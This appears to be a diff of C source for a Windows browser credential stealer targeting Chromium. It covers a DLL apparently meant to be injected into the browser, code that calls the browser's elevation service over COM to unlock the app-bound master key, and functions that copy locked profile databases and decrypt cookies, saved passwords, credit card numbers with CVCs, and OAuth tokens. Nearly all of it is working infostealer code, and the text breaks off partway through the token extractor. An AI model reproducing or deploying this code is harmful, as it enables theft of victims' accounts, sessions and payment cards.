#pragma comment(lib, "bcrypt.lib")
|
||||||
|
|
||||||
|
#ifndef NT_SUCCESS
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
static const uint8_t KEY_PREFIX[] = { 'A', 'P', 'P', 'B' };
|
||||||
|
static const char V20_PREFIX[] = "v20";
|
||||||
|
static const size_t V20_PREFIX_LEN = 3;
|
||||||
|
|
||||||
|
typedef struct IOriginalBaseElevator IOriginalBaseElevator;
|
||||||
|
|
||||||
|
typedef struct IOriginalBaseElevatorVtbl {
|
||||||
|
// IUnknown methods
|
||||||
|
HRESULT(STDMETHODCALLTYPE* QueryInterface)(IOriginalBaseElevator* This, REFIID riid, void** ppvObject);
|
||||||
|
ULONG(STDMETHODCALLTYPE* AddRef)(IOriginalBaseElevator* This);
|
||||||
|
ULONG(STDMETHODCALLTYPE* Release)(IOriginalBaseElevator* This);
|
||||||
|
|
||||||
|
HRESULT(STDMETHODCALLTYPE* RunRecoveryCRXElevated)(IOriginalBaseElevator* This, const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, PULONG_PTR);
|
||||||
|
HRESULT(STDMETHODCALLTYPE* EncryptData)(IOriginalBaseElevator* This, ProtectionLevel, const BSTR, BSTR*, DWORD*);
|
||||||
|
HRESULT(STDMETHODCALLTYPE* DecryptData)(IOriginalBaseElevator* This, const BSTR, BSTR*, DWORD*);
|
||||||
|
} IOriginalBaseElevatorVtbl;
|
||||||
|
|
||||||
|
struct IOriginalBaseElevator {
|
||||||
|
CONST_VTBL struct IOriginalBaseElevatorVtbl* lpVtbl;
|
||||||
|
};
|
||||||
|
|
||||||
|
// A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C
|
||||||
|
static const IID IID_IOriginalBaseElevator = { 0xA949CB4E, 0xC4F9, 0x44C4, { 0xB2, 0x13, 0x6B, 0xF8, 0xAA, 0x9A, 0xC6, 0x9C } };
|
||||||
|
|
||||||
|
ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len) {
|
||||||
|
if (!key || !blob || key_len != KEY_SIZE) return NULL;
|
||||||
|
|
||||||
|
const size_t overhead = V20_PREFIX_LEN + GCM_IV_LENGTH + GCM_TAG_LENGTH;
|
||||||
|
if (blob_len < overhead || memcmp(blob, V20_PREFIX, V20_PREFIX_LEN) != 0) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
BCRYPT_ALG_HANDLE alg = NULL;
|
||||||
|
if (!NT_SUCCESS(BCryptOpenAlgorithmProvider(&alg, BCRYPT_AES_ALGORITHM, NULL, 0))) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
BCryptSetProperty(alg, BCRYPT_CHAINING_MODE,
|
||||||
|
(PUCHAR)BCRYPT_CHAIN_MODE_GCM,
|
||||||
|
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
|
||||||
|
|
||||||
|
BCRYPT_KEY_HANDLE hkey = NULL;
|
||||||
|
NTSTATUS status = BCryptGenerateSymmetricKey(alg, &hkey, NULL, 0,
|
||||||
|
(PUCHAR)key, (ULONG)key_len, 0);
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
BCryptCloseAlgorithmProvider(alg, 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const uint8_t* iv = blob + V20_PREFIX_LEN;
|
||||||
|
const uint8_t* ct = iv + GCM_IV_LENGTH;
|
||||||
|
const uint8_t* tag = blob + blob_len - GCM_TAG_LENGTH;
|
||||||
|
ULONG ct_len = (ULONG)(blob_len - overhead);
|
||||||
|
|
||||||
|
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO auth_info;
|
||||||
|
BCRYPT_INIT_AUTH_MODE_INFO(auth_info);
|
||||||
|
auth_info.pbNonce = (PUCHAR)iv;
|
||||||
|
auth_info.cbNonce = GCM_IV_LENGTH;
|
||||||
|
auth_info.pbTag = (PUCHAR)tag;
|
||||||
|
auth_info.cbTag = GCM_TAG_LENGTH;
|
||||||
|
|
||||||
|
ByteBuffer* plain = buffer_create(ct_len > 0 ? ct_len : 1);
|
||||||
|
if (!plain) {
|
||||||
|
BCryptDestroyKey(hkey);
|
||||||
|
BCryptCloseAlgorithmProvider(alg, 0);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONG out_len = 0;
|
||||||
|
status = BCryptDecrypt(hkey, (PUCHAR)ct, ct_len, &auth_info,
|
||||||
|
NULL, 0, plain->data, (ULONG)plain->capacity, &out_len, 0);
|
||||||
|
|
||||||
|
BCryptDestroyKey(hkey);
|
||||||
|
BCryptCloseAlgorithmProvider(alg, 0);
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status)) {
|
||||||
|
buffer_destroy(plain);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
plain->size = out_len;
|
||||||
|
return plain;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path) {
|
||||||
|
if (!local_state_path) return NULL;
|
||||||
|
|
||||||
|
char* content = NULL;
|
||||||
|
size_t size = 0;
|
||||||
|
|
||||||
|
if (!read_file_content(local_state_path, &content, &size)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* tag = "\"app_bound_encrypted_key\":\"";
|
||||||
|
char* pos = strstr(content, tag);
|
||||||
|
if (!pos) {
|
||||||
|
free(content);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
pos += strlen(tag);
|
||||||
|
char* end_pos = strchr(pos, '"');
|
||||||
|
if (!end_pos) {
|
||||||
|
free(content);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t b64_len = end_pos - pos;
|
||||||
|
char* b64_key = malloc(b64_len + 1);
|
||||||
|
if (!b64_key) {
|
||||||
|
free(content);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(b64_key, pos, b64_len);
|
||||||
|
b64_key[b64_len] = '\0';
|
||||||
|
|
||||||
|
ByteBuffer* decoded = base64_decode(b64_key);
|
||||||
|
free(b64_key);
|
||||||
|
free(content);
|
||||||
|
|
||||||
|
if (!decoded) return NULL;
|
||||||
|
|
||||||
|
if (decoded->size < sizeof(KEY_PREFIX) || memcmp(decoded->data, KEY_PREFIX, sizeof(KEY_PREFIX)) != 0) {
|
||||||
|
buffer_destroy(decoded);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t key_len = decoded->size - sizeof(KEY_PREFIX);
|
||||||
|
memmove(decoded->data, decoded->data + sizeof(KEY_PREFIX), key_len);
|
||||||
|
decoded->size = key_len;
|
||||||
|
|
||||||
|
return decoded;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len) {
|
||||||
|
if (!config || !encrypted_key) return NULL;
|
||||||
|
|
||||||
|
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
||||||
|
if (FAILED(hr)) return NULL;
|
||||||
|
|
||||||
|
IOriginalBaseElevator* pEvelator = NULL;
|
||||||
|
hr = CoCreateInstance(&config->clsid, NULL, CLSCTX_LOCAL_SERVER, &config->iid, (void**)&pEvelator);
|
||||||
|
if (FAILED(hr)) {
|
||||||
|
CoUninitialize();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
hr = CoSetProxyBlanket((IUnknown*)pEvelator, RPC_C_AUTHN_DEFAULT,
|
||||||
|
RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL,
|
||||||
|
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, NULL,
|
||||||
|
EOAC_DYNAMIC_CLOAKING);
|
||||||
|
|
||||||
|
BSTR bstr_enc = SysAllocStringByteLen((const char*)encrypted_key, (UINT)encrypted_key_len);
|
||||||
|
if (!bstr_enc) {
|
||||||
|
pEvelator->lpVtbl->Release(pEvelator);
|
||||||
|
CoUninitialize();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
BSTR bstr_plain = NULL;
|
||||||
|
DWORD com_err = 0;
|
||||||
|
hr = pEvelator->lpVtbl->DecryptData(pEvelator, bstr_enc, &bstr_plain, &com_err);
|
||||||
|
|
||||||
|
SysFreeString(bstr_enc);
|
||||||
|
pEvelator->lpVtbl->Release(pEvelator);
|
||||||
|
|
||||||
|
if (FAILED(hr) || !bstr_plain) {
|
||||||
|
CoUninitialize();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
UINT key_size = SysStringByteLen(bstr_plain);
|
||||||
|
if (key_size != KEY_SIZE) {
|
||||||
|
SysFreeString(bstr_plain);
|
||||||
|
CoUninitialize();
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
ByteBuffer* result = buffer_create(KEY_SIZE);
|
||||||
|
if (result) {
|
||||||
|
memcpy(result->data, bstr_plain, KEY_SIZE);
|
||||||
|
result->size = KEY_SIZE;
|
||||||
|
}
|
||||||
|
|
||||||
|
SysFreeString(bstr_plain);
|
||||||
|
CoUninitialize();
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
Executable
+45
@@ -0,0 +1,45 @@
|
|||||||
|
#include "orchestrator.h"
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
HMODULE hModule_dll;
|
||||||
|
LPVOID lpPipeNamePointerFromInjector;
|
||||||
|
} ThreadParams;
|
||||||
|
|
||||||
|
DWORD WINAPI decryprion_thread_worker(LPVOID lpParam)
|
||||||
|
{
|
||||||
|
ThreadParams* thread_params = (ThreadParams*)lpParam;
|
||||||
|
|
||||||
|
OrchestratorConfig config;
|
||||||
|
if (orchestrator_init(&config, (LPCWSTR)thread_params->lpPipeNamePointerFromInjector)) {
|
||||||
|
orchestrator_run(&config);
|
||||||
|
}
|
||||||
|
orchestrator_cleanup(&config);
|
||||||
|
|
||||||
|
FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
|
||||||
|
free(thread_params);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
|
||||||
|
{
|
||||||
|
if (reason == DLL_PROCESS_ATTACH) {
|
||||||
|
DisableThreadLibraryCalls(hModule);
|
||||||
|
|
||||||
|
ThreadParams* thread_params = (ThreadParams*)malloc(sizeof(ThreadParams));
|
||||||
|
thread_params->hModule_dll = hModule;
|
||||||
|
thread_params->lpPipeNamePointerFromInjector = lpReserved;
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL, 0, decryprion_thread_worker, thread_params, 0, NULL);
|
||||||
|
if (hThread) {
|
||||||
|
CloseHandle(hThread);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
free(thread_params);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
Executable
+463
@@ -0,0 +1,463 @@
|
|||||||
|
#include "extractor.h"
|
||||||
|
#include "handle_duplicator.h"
|
||||||
|
#include "crypto.h"
|
||||||
|
#include "utils.h"
|
||||||
|
#include "buffer.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
wchar_t** files;
|
||||||
|
size_t count;
|
||||||
|
size_t capacity;
|
||||||
|
} TempFileList;
|
||||||
|
|
||||||
|
static TempFileList* temp_files = NULL;
|
||||||
|
|
||||||
|
static void init_temp_files() {
|
||||||
|
if (!temp_files) {
|
||||||
|
temp_files = malloc(sizeof(TempFileList));
|
||||||
|
if (temp_files) {
|
||||||
|
temp_files->files = malloc(sizeof(wchar_t*) * 10);
|
||||||
|
temp_files->count = 0;
|
||||||
|
temp_files->capacity = 10;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void add_temp_file(const wchar_t* path) {
|
||||||
|
if (!temp_files) return;
|
||||||
|
|
||||||
|
if (temp_files->count >= temp_files->capacity) {
|
||||||
|
size_t new_cap = temp_files->capacity * 2;
|
||||||
|
wchar_t** new_files = realloc(temp_files->files, sizeof(wchar_t*) * new_cap);
|
||||||
|
if (!new_files) return;
|
||||||
|
temp_files->files = new_files;
|
||||||
|
temp_files->capacity = new_cap;
|
||||||
|
}
|
||||||
|
|
||||||
|
temp_files->files[temp_files->count] = _wcsdup(path);
|
||||||
|
temp_files->count++;
|
||||||
|
}
|
||||||
|
|
||||||
|
void cleanup_temp_files() {
|
||||||
|
if (!temp_files) return;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < temp_files->count; i++) {
|
||||||
|
DeleteFileW(temp_files->files[i]);
|
||||||
|
free(temp_files->files[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(temp_files->files);
|
||||||
|
free(temp_files);
|
||||||
|
temp_files = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool open_database(const wchar_t* db_path, sqlite3** db) {
|
||||||
|
char path_utf8[MAX_PATH_LEN * 3];
|
||||||
|
int converted = WideCharToMultiByte(CP_UTF8, 0, db_path, -1, path_utf8,
|
||||||
|
sizeof(path_utf8), NULL, NULL);
|
||||||
|
|
||||||
|
if (converted == 0) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
char uri_path[MAX_PATH_LEN * 3 + 20];
|
||||||
|
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
|
||||||
|
|
||||||
|
for (char* p = uri_path; *p; p++) {
|
||||||
|
if (*p == '\\') *p = '/';
|
||||||
|
}
|
||||||
|
|
||||||
|
int rc = sqlite3_open_v2(uri_path, db,
|
||||||
|
SQLITE_OPEN_READONLY | SQLITE_OPEN_URI,
|
||||||
|
NULL);
|
||||||
|
|
||||||
|
if (rc != SQLITE_OK) {
|
||||||
|
if (*db) {
|
||||||
|
sqlite3_close(*db);
|
||||||
|
*db = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t temp_dir[MAX_PATH_LEN];
|
||||||
|
GetTempPathW(MAX_PATH_LEN, temp_dir);
|
||||||
|
wcscat_s(temp_dir, MAX_PATH_LEN, L"ChromiumDecryptor\\");
|
||||||
|
CreateDirectoryW(temp_dir, NULL);
|
||||||
|
|
||||||
|
wchar_t temp_file[MAX_PATH_LEN];
|
||||||
|
swprintf_s(temp_file, MAX_PATH_LEN, L"%s%llu.db", temp_dir, GetTickCount64());
|
||||||
|
|
||||||
|
if (!copy_locked_file(db_path, temp_file)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
init_temp_files();
|
||||||
|
add_temp_file(temp_file);
|
||||||
|
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, temp_file, -1, path_utf8, sizeof(path_utf8), NULL, NULL);
|
||||||
|
sprintf_s(uri_path, sizeof(uri_path), "file:%s?nolock=1", path_utf8);
|
||||||
|
|
||||||
|
for (char* p = uri_path; *p; p++) {
|
||||||
|
if (*p == '\\') *p = '/';
|
||||||
|
}
|
||||||
|
|
||||||
|
rc = sqlite3_open_v2(uri_path, db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, NULL);
|
||||||
|
if (rc != SQLITE_OK) {
|
||||||
|
if (*db) {
|
||||||
|
sqlite3_close(*db);
|
||||||
|
*db = NULL;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool write_json_array(const wchar_t* file_path, StringArray* entries) {
|
||||||
|
if (!file_path || !entries) return false;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
|
||||||
|
|
||||||
|
fprintf(f, "[\n");
|
||||||
|
for (size_t i = 0; i < entries->count; i++) {
|
||||||
|
fprintf(f, "%s", entries->items[i]);
|
||||||
|
if (i < entries->count - 1) {
|
||||||
|
fprintf(f, ",\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fprintf(f, "\n]\n");
|
||||||
|
|
||||||
|
fclose(f);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries) {
|
||||||
|
if (!file_path || !entries) return false;
|
||||||
|
|
||||||
|
FILE* f = NULL;
|
||||||
|
if (_wfopen_s(&f, file_path, L"w") != 0 || !f) return false;
|
||||||
|
|
||||||
|
for (size_t i = 0; i < entries->count; i++) {
|
||||||
|
fprintf(f, "%s\n", entries->items[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(f);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* extract_cookies(const ExtractionContext* ctx) {
|
||||||
|
if (!ctx) return NULL;
|
||||||
|
|
||||||
|
wchar_t db_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Network\\Cookies", ctx->profile_path);
|
||||||
|
|
||||||
|
if (GetFileAttributesW(db_path) == INVALID_FILE_ATTRIBUTES) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3* db = NULL;
|
||||||
|
if (!open_database(db_path, &db)) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* results = string_array_create(100);
|
||||||
|
if (!results) {
|
||||||
|
sqlite3_close(db);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* query =
|
||||||
|
"SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies;";
|
||||||
|
|
||||||
|
sqlite3_stmt* stmt = NULL;
|
||||||
|
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
|
||||||
|
sqlite3_close(db);
|
||||||
|
string_array_destroy(results);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||||
|
const uint8_t* blob = sqlite3_column_blob(stmt, 5);
|
||||||
|
int blob_len = sqlite3_column_bytes(stmt, 5);
|
||||||
|
if (!blob) continue;
|
||||||
|
|
||||||
|
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
|
||||||
|
if (!plain || plain->size <= COOKIE_PLAINTEXT_HEADER_SIZE) {
|
||||||
|
buffer_destroy(plain);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char* value = (const char*)(plain->data + COOKIE_PLAINTEXT_HEADER_SIZE);
|
||||||
|
size_t value_len = plain->size - COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||||
|
|
||||||
|
char* value_str = malloc(value_len + 1);
|
||||||
|
if (!value_str) {
|
||||||
|
buffer_destroy(plain);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(value_str, value, value_len);
|
||||||
|
value_str[value_len] = '\0';
|
||||||
|
|
||||||
|
const char* host = (const char*)sqlite3_column_text(stmt, 0);
|
||||||
|
const char* name = (const char*)sqlite3_column_text(stmt, 1);
|
||||||
|
const char* path = (const char*)sqlite3_column_text(stmt, 2);
|
||||||
|
int is_secure = sqlite3_column_int(stmt, 3);
|
||||||
|
long long expires = sqlite3_column_int64(stmt, 4);
|
||||||
|
|
||||||
|
long long unix_expiry = (expires / 1000000LL) - 11644473600LL;
|
||||||
|
|
||||||
|
char netscape[MAX_JSON_LEN];
|
||||||
|
snprintf(netscape, sizeof(netscape),
|
||||||
|
"%s\t%s\t%s\t%s\t%lld\t%s\t%s",
|
||||||
|
host ? host : "",
|
||||||
|
(host && host[0] == '.') ? "TRUE" : "FALSE",
|
||||||
|
path ? path : "/",
|
||||||
|
is_secure ? "TRUE" : "FALSE",
|
||||||
|
unix_expiry,
|
||||||
|
name ? name : "",
|
||||||
|
value_str
|
||||||
|
);
|
||||||
|
|
||||||
|
string_array_add(results, netscape);
|
||||||
|
|
||||||
|
free(value_str);
|
||||||
|
buffer_destroy(plain);
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
sqlite3_close(db);
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* extract_passwords(const ExtractionContext* ctx) {
|
||||||
|
if (!ctx) return NULL;
|
||||||
|
|
||||||
|
wchar_t db_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Login Data", ctx->profile_path);
|
||||||
|
|
||||||
|
sqlite3* db = NULL;
|
||||||
|
if (!open_database(db_path, &db)) return NULL;
|
||||||
|
|
||||||
|
StringArray* results = string_array_create(50);
|
||||||
|
const char* query = "SELECT origin_url, username_value, password_value FROM logins;";
|
||||||
|
|
||||||
|
sqlite3_stmt* stmt = NULL;
|
||||||
|
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) != SQLITE_OK) {
|
||||||
|
sqlite3_close(db);
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||||
|
const uint8_t* blob = sqlite3_column_blob(stmt, 2);
|
||||||
|
int blob_len = sqlite3_column_bytes(stmt, 2);
|
||||||
|
|
||||||
|
if (!blob) continue;
|
||||||
|
|
||||||
|
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, blob, blob_len);
|
||||||
|
if (!plain) continue;
|
||||||
|
|
||||||
|
char* origin = escape_json_string((const char*)sqlite3_column_text(stmt, 0));
|
||||||
|
char* user = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
|
||||||
|
|
||||||
|
char* pass_raw = malloc(plain->size + 1);
|
||||||
|
memcpy(pass_raw, plain->data, plain->size);
|
||||||
|
pass_raw[plain->size] = '\0';
|
||||||
|
char* pass_esc = escape_json_string(pass_raw);
|
||||||
|
|
||||||
|
char json[MAX_JSON_LEN];
|
||||||
|
snprintf(json, sizeof(json),
|
||||||
|
" {\"origin\":\"%s\",\"username\":\"%s\",\"password\":\"%s\"}",
|
||||||
|
origin, user, pass_esc);
|
||||||
|
|
||||||
|
string_array_add(results, json);
|
||||||
|
|
||||||
|
free(origin);
|
||||||
|
free(user);
|
||||||
|
free(pass_raw);
|
||||||
|
free(pass_esc);
|
||||||
|
buffer_destroy(plain);
|
||||||
|
}
|
||||||
|
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
sqlite3_close(db);
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
char* guid;
|
||||||
|
uint8_t* blob;
|
||||||
|
int blob_len;
|
||||||
|
} CvcEntry;
|
||||||
|
|
||||||
|
StringArray* extract_payments(const ExtractionContext* ctx) {
|
||||||
|
if (!ctx) return NULL;
|
||||||
|
|
||||||
|
wchar_t db_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
|
||||||
|
|
||||||
|
sqlite3* db = NULL;
|
||||||
|
if (!open_database(db_path, &db)) return NULL;
|
||||||
|
|
||||||
|
CvcEntry* cvc_table = NULL;
|
||||||
|
int cvc_count = 0;
|
||||||
|
|
||||||
|
sqlite3_stmt* cvc_stmt = NULL;
|
||||||
|
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &cvc_stmt, NULL) == SQLITE_OK) {
|
||||||
|
while (sqlite3_step(cvc_stmt) == SQLITE_ROW) {
|
||||||
|
cvc_table = realloc(cvc_table, sizeof(CvcEntry) * (cvc_count + 1));
|
||||||
|
const char* guid = (const char*)sqlite3_column_text(cvc_stmt, 0);
|
||||||
|
const uint8_t* blob = sqlite3_column_blob(cvc_stmt, 1);
|
||||||
|
int len = sqlite3_column_bytes(cvc_stmt, 1);
|
||||||
|
|
||||||
|
cvc_table[cvc_count].guid = _strdup(guid);
|
||||||
|
cvc_table[cvc_count].blob = malloc(len);
|
||||||
|
memcpy(cvc_table[cvc_count].blob, blob, len);
|
||||||
|
cvc_table[cvc_count].blob_len = len;
|
||||||
|
cvc_count++;
|
||||||
|
}
|
||||||
|
sqlite3_finalize(cvc_stmt);
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* results = string_array_create(10);
|
||||||
|
const char* query = "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;";
|
||||||
|
sqlite3_stmt* stmt = NULL;
|
||||||
|
|
||||||
|
if (sqlite3_prepare_v2(db, query, -1, &stmt, NULL) == SQLITE_OK) {
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||||
|
const char* guid = (const char*)sqlite3_column_text(stmt, 0);
|
||||||
|
char card_num[256] = { 0 };
|
||||||
|
char cvc_val[16] = { 0 };
|
||||||
|
|
||||||
|
const uint8_t* card_blob = sqlite3_column_blob(stmt, 4);
|
||||||
|
int card_blob_len = sqlite3_column_bytes(stmt, 4);
|
||||||
|
if (card_blob) {
|
||||||
|
ByteBuffer* plain = decrypt_gcm(ctx->aes_key, ctx->key_len, card_blob, card_blob_len);
|
||||||
|
if (plain) {
|
||||||
|
snprintf(card_num, sizeof(card_num), "%.*s", (int)plain->size, plain->data);
|
||||||
|
buffer_destroy(plain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < cvc_count; i++) {
|
||||||
|
if (strcmp(guid, cvc_table[i].guid) == 0) {
|
||||||
|
ByteBuffer* plain_cvc = decrypt_gcm(ctx->aes_key, ctx->key_len, cvc_table[i].blob, cvc_table[i].blob_len);
|
||||||
|
if (plain_cvc) {
|
||||||
|
snprintf(cvc_val, sizeof(cvc_val), "%.*s", (int)plain_cvc->size, plain_cvc->data);
|
||||||
|
buffer_destroy(plain_cvc);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
char* name = escape_json_string((const char*)sqlite3_column_text(stmt, 1));
|
||||||
|
char* card_esc = escape_json_string(card_num);
|
||||||
|
char* cvc_esc = escape_json_string(cvc_val);
|
||||||
|
|
||||||
|
char json[MAX_JSON_LEN];
|
||||||
|
snprintf(json, sizeof(json),
|
||||||
|
" {\"name_on_card\":\"%s\",\"expiration_month\":%d,\"expiration_year\":%d,\"card_number\":\"%s\",\"cvc\":\"%s\"}",
|
||||||
|
name, sqlite3_column_int(stmt, 2), sqlite3_column_int(stmt, 3), card_esc, cvc_esc);
|
||||||
|
|
||||||
|
string_array_add(results, json);
|
||||||
|
|
||||||
|
free(name); free(card_esc); free(cvc_esc);
|
||||||
|
}
|
||||||
|
sqlite3_finalize(stmt);
|
||||||
|
}
|
||||||
|
|
||||||
|
for (int i = 0; i < cvc_count; i++) {
|
||||||
|
free(cvc_table[i].guid);
|
||||||
|
free(cvc_table[i].blob);
|
||||||
|
}
|
||||||
|
|
||||||
|
free(cvc_table);
|
||||||
|
sqlite3_close(db);
|
||||||
|
|
||||||
|
return results;
|
||||||
|
}
|
||||||
|
|
||||||
|
StringArray* extract_tokens(const ExtractionContext* ctx) {
|
||||||
|
if (!ctx) return NULL;
|
||||||
|
|
||||||
|
wchar_t db_path[MAX_PATH_LEN];
|
||||||
|
swprintf_s(db_path, MAX_PATH_LEN, L"%s\\Web Data", ctx->profile_path);
|
||||||
|
|
||||||
|
sqlite3* db = NULL;
|
||||||
|
if (!open_database(db_path, &db)) return NULL;
|
||||||
|
|
||||||
|
StringArray* results = string_array_create(20);
|
||||||
|
if (!results) {
|
||||||
|
sqlite3_close(db);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool has_binding_key = true;
|
||||||
|
const char* query_with_key = "SELECT service, encrypted_token, binding_key FROM token_service;";
|
||||||
|
const char* query_without_key = "SELECT service, encrypted_token FROM token_service;";
|
||||||
|
|
||||||
|
sqlite3_stmt* stmt = NULL;
|
||||||
|
if (sqlite3_prepare_v2(db, query_with_key, -1, &stmt, NULL) != SQLITE_OK) {
|
||||||
|
has_binding_key = false;
|
||||||
|
if (sqlite3_prepare_v2(db, query_without_key, -1, &stmt, NULL) != SQLITE_OK) {
|
||||||
|
sqlite3_close(db);
|
||||||
|
string_array_destroy(results);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
while (sqlite3_step(stmt) == SQLITE_ROW) {
|
||||||
|
const uint8_t* token_blob = sqlite3_column_blob(stmt, 1);
|
||||||
|
int token_len = sqlite3_column_bytes(stmt, 1);
|
||||||
|
|
||||||
|
if (!token_blob || token_len <= 0) continue;
|
||||||
|
|
||||||
|
ByteBuffer* plain_token = decrypt_gcm(ctx->aes_key, ctx->key_len,
|
||||||
|
token_blob, token_len);
|
||||||
|
if (!plain_token) continue;
|
||||||
|
|
||||||
|
char* token_str = malloc(plain_token->size + 1);
|
||||||
|
if (!token_str) {
|
||||||
|
buffer_destroy(plain_token);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
memcpy(token_str, plain_token->data, plain_token->size);
|
||||||
|
token_str[plain_token->size] = '\0';
|
||||||
|
buffer_destroy(plain_token);
|
||||||
|
|
||||||
|
char binding_key_str[512] = {};
|
||||||
|
if (has_binding_key) {
|
